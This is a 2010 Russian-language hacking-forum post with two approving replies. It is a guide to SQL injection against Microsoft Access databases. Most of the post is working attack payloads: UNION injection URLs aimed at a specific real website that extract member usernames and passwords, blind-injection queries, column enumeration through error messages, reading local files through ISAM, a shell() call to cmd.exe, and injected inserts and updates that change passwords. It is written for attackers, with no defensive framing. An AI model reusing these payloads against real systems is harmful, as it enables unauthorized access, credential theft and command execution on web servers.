Авторские статьи [Microsoft Access SQL Injection] - Дополнения.

Discussion in 'Статьи' started by aka_zver, 8 Jun 2010.

  1. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    ==============================================
    [Microsoft Access SQL Injection] - Дополнения. v1.1
    ==============================================​


    =================
    Вместо вступления
    =================

    В этой статье я освещу некоторые фишки (в том числе от Майкрософт), результаты моей работы в области взлома
    MSAccess, ключевые моменты вольно переведённой мной статьи по пентестингу аксесса и ответы на некоторые возникающие вопросы;
    можете считать это дополнением к исследованию товарища [53x]Shadow. В качестве
    примера будет использована уязвимость, найденная на http://www.spokanemarcom[antigoogle].com
    Ссылки, копирайты и тд - в конце.

    ======
    Начало
    ======

    Известно, что MS Access не поддерживает ни один вид комментариев, но для усечения запроса можно использовать %00 или %16,
    последнее нужно использовать, если нулл-байт вызывает ошибку (Division by zero).

    Аналогами concat() в msaccess являются "+" в урл-енкоде - "%2b" и амперсанд - "&", если не работает одно, то пашет второе.

    Выражение, заключенное в кавычки (апострофы), не может содержать внутренние кавычки (апострофы).

    Две кавычки ("") в строке воспринимаются в Access как одна кавычка.

    Для представления символа кавычки в строковом выражении может использоваться символ сhr(34), где 34 — код кавычки в
    стандарте ANSI.

    До версии 2007 года движком ms access был MS Jet, после - Access Connectivity Engine (ACE).

    =======
    Функции
    =======

    rnd() - Возвращает значение типа Single, содержащее случайное число. Функция Rnd возвращает значение
    меньше 1 и не меньше нуля.

    first(), last() - Возвращают значение поля из первой или последней записи в результирующем наборе, который
    возвращается запросом.

    iif() - Данная функция возвращает одну из двух частей в зависимости от результата вычисления выражения.
    iif(выражение, если_истина, если_ложь)

    min(), max() - Возвращают минимальное или максимальное из значений, содержащихся в заданном поле запроса.

    count() - Вычисляет количество записей, возвращенных запросом.
    ...select+count(*)+as+AllUsers+from+Users
    ...select+count('ShippedDate & Freight')+from+Orders


    chr() - Перевод строки в chr-представление (понадобится для обхода фильтрации)
    сhr(10) возвращает знак переноса строки.

    asc() - Перевод строки в ASCII-представление

    mid() - Можно использовать для создания подзапроса. Цифра_1 указывает, с какого символа начинать выводить данные,
    цифра_2 - сколько данных вывести
    mid(значение,цифра_1,цифра_2)
    Как-то так:
    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,mid(username%2bchr(58)%2bpassword,1),3,4,5,6,7,8,9,10,11+from+members%00

    typename() - определение типа данных​

    =====================
    Системные переменные:
    =====================

    date() - текущая дата
    now - системное время​

    ==================
    ...select+top+n...
    ==================

    top n [percent] возвращает определенное число записей, находящихся в начале или в конце диапазона, описанного с помощью
    предложения ORDER BY. Следующая инструкция SQL позволяет получить список пользователей с паролями, у которых id больше
    десяти:

    ...select+top+25+username%2bchr(59)%2bpassword+from+members+where+id>10+order+by+id%00​

    Если предложение ORDER BY будет опущено, запрос возвратит произвольный набор 25 записей из таблицы "members",
    удовлетворяющих предложению where. Предикат TOP не осуществляет выбор между равными значениями.

    ==========================
    ...with+owneraccess+option
    ==========================

    Всё по словам Microsoft.
    Используется для предоставления пользователю, работающему с запросом, разрешений, соответствующих разрешениям владельца
    запроса. Следующий пример показывает, как можно просматривать сведения о пользователях (даже если нет доступа к таблице
    members) при условии, что владелец запроса имеет данное разрешение.

    ...select+username%2bpassword%2bemail+from+members+order+by+username+with+owneraccess+option​

    Если пользователю запрещено создавать таблицу или вносить в нее изменения, то при помощи WITH OWNERACCESS OPTION можно
    выполнить запрос на создание таблицы или запрос на добавление. Данный параметр требует наличия доступа к файлу System.mdw,
    сопоставленному базе данных (он используется только при работе в защищенных многопользовательских системах).

    =======================
    О подстановочных знаках
    =======================

    Запрос с подстановочными знаками в условиях отбора может в разных режимах возвращать разные результаты.
    Например, по-разному будут выполняться следующие запросы.
    Запрос ANSI-89 SQL в базе данных, настроенной на режим запросов ANSI-92, например:

    ...select+*+from+users+where+country+like+'U*'​

    В нем будут возвращены все пользователи из страны «U*», а не из всех стран на «U», поскольку звездочка (*) не является
    подстановочным знаком в ANSI-92 SQL.
    Запрос ANSI-92 SQL в базе данных, настроенной на режим запросов ANSI-89, например:

    ...select+*+from+users+where+country+like+'U%'​

    В нем будут возвращены все пользователи из страны «U%», а не из всех стран на «U», поскольку знак процентов (%) не является
    подстановочным знаком в ANSI-89 SQL.

    [​IMG]

    Примеры поиска с помощью like (alike):
    --------------------------------------

    ...+select+top+1+members.password+from+members+where+members.username+alike+'admi_'%00
    ...+select+top+1+password+from+members+where+username+like+'adm__'%00
    ...+select+top+1+password+from+members+where+(username+like+"adm*")%00
    ...+select+top+1+password+from+members+where+username+like+chr(97)%2bchr(100)%2bchr(109)%2bchr(105)%2bchr(110)%00
    ...+select+top+1+password+from+members+where+username+like+'[a-cA-C0-9]'%00​

    =============
    Type mismatch
    =============

    При несовпадении типа данных переводим в нужный при помощи StrConv()
    Пример: strconv(admin,1) -> ADMIN

    Основные значения:
    [​IMG]

    Каждая из этих функций приводит выражение к определенному типу данных. В скобках любое строковое или числовое "выражение".
    Тип возвращаемого значения определяется по имени функции в соответствии со следующей таблицей:
    [​IMG]

    ====================
    О системных таблицах
    ====================

    Да, в большинстве случаев к ним нет доступа, но уж если такое произошло..

    [​IMG]

    =====================
    Определение версии БД
    =====================

    Табличка:
    [​IMG]

    Определяется, думаю, понятно как; приведу пример:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysModules2%00​
    Получаем "...Make sure it exists and that its name is spelled correctly...", значит, такой таблицы не существует и
    версия > 1997 года, продолжаем.

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysAccessObjects%00​
    Страница отобразилась нормально.

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11+from+MSysAccessXML%00​
    Ничего не отобразило, но нет и ошибки, значит, таблица существует. Следовательно, версия БД - 2000.

    ==================
    Определение движка
    ==================

    1\ это JET, если в ошибке мы видим:
    [Microsoft][ODBC Microsoft Access Driver]

    или

    Microsoft JET Database Engine

    2\ это ACE, если:
    Microsoft Office Access Database Engine

    то есть мы имеем дело с 2007 версией БД

    =========================
    Использование символа "|"
    =========================

    Работает ТОЛЬКО в MS Jet v3.5, позволяет использовать содержимое между "||" до парсинга всего запроса.
    Например:
    http://www.site.com/news.asp?id=|99+1|%16​


    ======================
    Получение имён колонок
    ======================

    Вариант 1:
    ----------

    Если в select'е не используется "*", например:
    SELECT id, email FROM users WHERE username='user' and password='pass'​


    то, используя group by, можно получить имена колонок:

    SELECT id, email FROM users WHERE username='1' GROUP BY 1 HAVING '1'='1' and password=''​

    Пример вывода в ошибке:
    Microsoft JET Database Engine (0x80040E21)
    You tried to execute a query that does not include the specified expression 'id'
    as part of an aggregate function.​

    Продолжаем, второй запрос:

    SELECT id, email FROM users WHERE username='1' GROUP BY 1,id HAVING '1'='1' and password=''​

    Получим, допустим, "...'email'...", составим следующее:

    SELECT id, email FROM users WHERE username='1' GROUP BY 1,id,email HAVING '1'='1' and password=''​

    И т.д. Если в ответ получаем ошибку:
    Microsoft JET Database Engine (0x80040E21)
    You tried to execute a query that does not include the specified expression ''1'='1' and password='''
    as part of an aggregate function.​

    значит, мы получили имена всех колонок.

    Вариант 2:
    ----------

    1\ Если в запросе используется "*" и существует ошибка типа:
    Microsoft JET Database Engine (0x80040E21)
    Cannot group on fields selected with '*'.​

    то мы можем получить имя одной колонки следующим образом:

    SELECT * FROM users WHERE username='1' HAVING sum('1')='1' and password=''​

    В ответ получаем:
    Microsoft JET Database Engine (0x80040E21)
    You tried to execute a query that does not include the specified expression 'ID'
    as part of an aggregate function.​

    В её имени может содержаться, например, префикс, что поможет в следующем шаге.

    2\ Брутфорс. Если имя подобрано правильно, то не будет выведена ошибка (...No value given for...).

    SELECT * FROM users WHERE username='1' AND имя_колонки='1' and password=''​

    Вариант 3:
    ----------

    Похож на второй, возможен при известном имени таблицы; составляем запрос:

    SELECT * FROM users WHERE username='1' UNION SELECT имя_колонки, null FROM имя_таблицы WHERE '1'='1' and password=''​

    При правильно подобранном имени колонки не будет ошибки.

    =================================
    Определение типа данных в колонке
    =================================

    Для этого существует функция TypeName()
    Пример использования:

    SELECT * FROM users WHERE username='1' UNION SELECT TypeName(имя_колонки), null FROM имя_таблицы WHERE '1'='1' and password=''

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,typename(username),3,4,5,6,7,8,9,10,11+from+members%00​

    ==========
    Внешние БД
    ==========

    В MS Jet есть возможность просматривать данные из внешних БД (здесь имеются в виду базы формата ms access). Делается так:

    SELECT * FROM users WHERE username='1' UNION SELECT id FROM имя_таблицы IN 'путь_к_бд' WHERE '1'='1' and password=''​

    Запрос "...select+id+from+(c:\db\database.mdb)+users..." аналогичен "...select+id+from+[c:\db\database.mdb].users...",
    также "...select+id+from+users+in+'c:\db\database.mdb'..."

    ===========================================
    Чтение файлов отличных от формата ms access
    ===========================================

    Читать возможно файлы форматов txt, csv, tab, asc, tmp, htm, html
    1\ Для начала нужно достать путь к БД при помощи раскрытия, описанного [53x]Shadow:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+ololo+in+'.'%00​
    Путь - c:\windows\system32\inetsrv

    2\ Читаем так:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+[TEXT;DATABASE=c:\windows\system32\inetsrv].[c:\some_name.txt]%00​

    или, похожий запрос:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,*,3,4,5,6,7,8,9,10,11+from+[Excel+8.0;DATABASE=c:\ololo.xls].[sheet1$]%00​

    Здесь поясню. Запрос строится так:

    Для подключений типа ISAM
    -------------------------

    ...FROM+[тип_данных;DATABASE=путь_к_бд].[путь_к_файлу]​
    Тип данных можно посмотреть в реестре в ветвях:
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\ISAM Formats"
    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Access Connectivity Engine\ISAM Formats"


    [​IMG]

    Для ODBC
    --------

    ...FROM+[ODBC;DRIVER=имя_драйвера]​
    Смотрим тут:
    "HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI"

    [​IMG]

    Но так как MS Jet не позволяет использовать подключение ODBC к драйверу MS Access, то придётся использовать ISAM.
    TOP 1 используется для нумерации строк.

    ==========
    Команды ОС
    ==========

    Если субд работает не в защищённом режиме (т.е. он либо выключен, либо версия MS Jet < 3.51.33x), то возможно использовать
    системные команды.

    CurDir() - Возвращает значение типа Variant (String), указывающее текущий путь.

    Dir() - Возвращает значение типа String, определяющее имя файла, каталога или папки, которое соответствует указанному
    шаблону, атрибуту файла либо метке тома диска.
    dir('c:\')

    FileDateTime() - Возвращает значение типа Variant (Date), указывающее дату и время создания или последнего изменения файла.
    filedatetime('c:\boot.ini')

    FileLen() - Возвращает значение типа Long, задающее длину файла в байтах.
    filelen('c:\boot.ini')

    GetAttr() - Данная функция возвращает значение типа Integer, представляющее атрибуты файла, каталога или папки.
    getattr('c:\boot.ini')

    Shell() - Запускает исполняемую программу и возвращает значение типа Variant (Double), содержащее код задачи этой программы, если
    запуск прошел успешно; в противном случае возвращает нуль.
    shell('c:\windows\system32\cmd.exe')

    =========================================
    Об инъекциях в insert, update, delete, select ... into
    =========================================

    По аналогии с другими субд

    +union+insert+into+members+(id,username,password)+values+('999','some_name','password')%00​

    Или:
    +union+update+members+set+password=pass+where+username='[email protected]'%00​

    Создание таблицы, запись в файл:

    +union+select+IIf(False,CLng(0),%22%22)+as+a+into+ololo%00

    +union+select+'param_pam_pam'+into+[TEXT;DATABASE=c:\windows\system32\inetsrv].[c:\windows\win_log.txt]%00​

    ===============
    Blind Injection
    ===============

    Здесь всё обстоит так же, как и в других СУБД, например берём ASCII-значение имени пользователя и сравниваем, пока хватит
    терпения:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=1+and+asc(mid((select+top+1+username+from+members),1,1))=97%00
    Или, вариант номер 2:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=iif((select+mid(last(username),1,1)+from+(select+top+1+username+from+members))='a',0,'no')%00​

    Номер 3:

    http://www.spokanemarcom[antigoogle].com/news.asp?id=1+and+1=0+or+'a'=iif((select+mid(last(username),1,1)+from+(select+top+1+username+from+members))='a','a','b')%00​

    =================
    Примеры запросов:
    =================

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,username%2bchr(59)%2bpassword,3,4,5,6,7,8,9,10,11+from+members+order+by+id%00

    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+top+1+1,username,3,4,5,6,7,8,9,10,11+from+members+where+username+not+in+(select+top+1+username+from+members)%00​

    Вывод содержимого нескольких полей за один запрос:
    http://www.spokanemarcom[antigoogle].com/news.asp?id=-99+union+select+1,(select+top+1+username+from+members)%2bchr(58)%2b(select+top+1+username+from+members+where+username+not+in+(select+top+1+username+from+members)),3,4,5,6,7,8,9,10,11+from+members%00​

    =======
    Ссылки:
    =======

    З.Ы. Конструктивная критика и дополнения приветствуются ;) (с)
     
    #1 aka_zver, 8 Jun 2010
    Last edited: 21 Feb 2011
    19 people like this.
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Отлично, есть кое-что новенькое, спс-бо
     
  3. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Очень красиво все описал, приятно читать.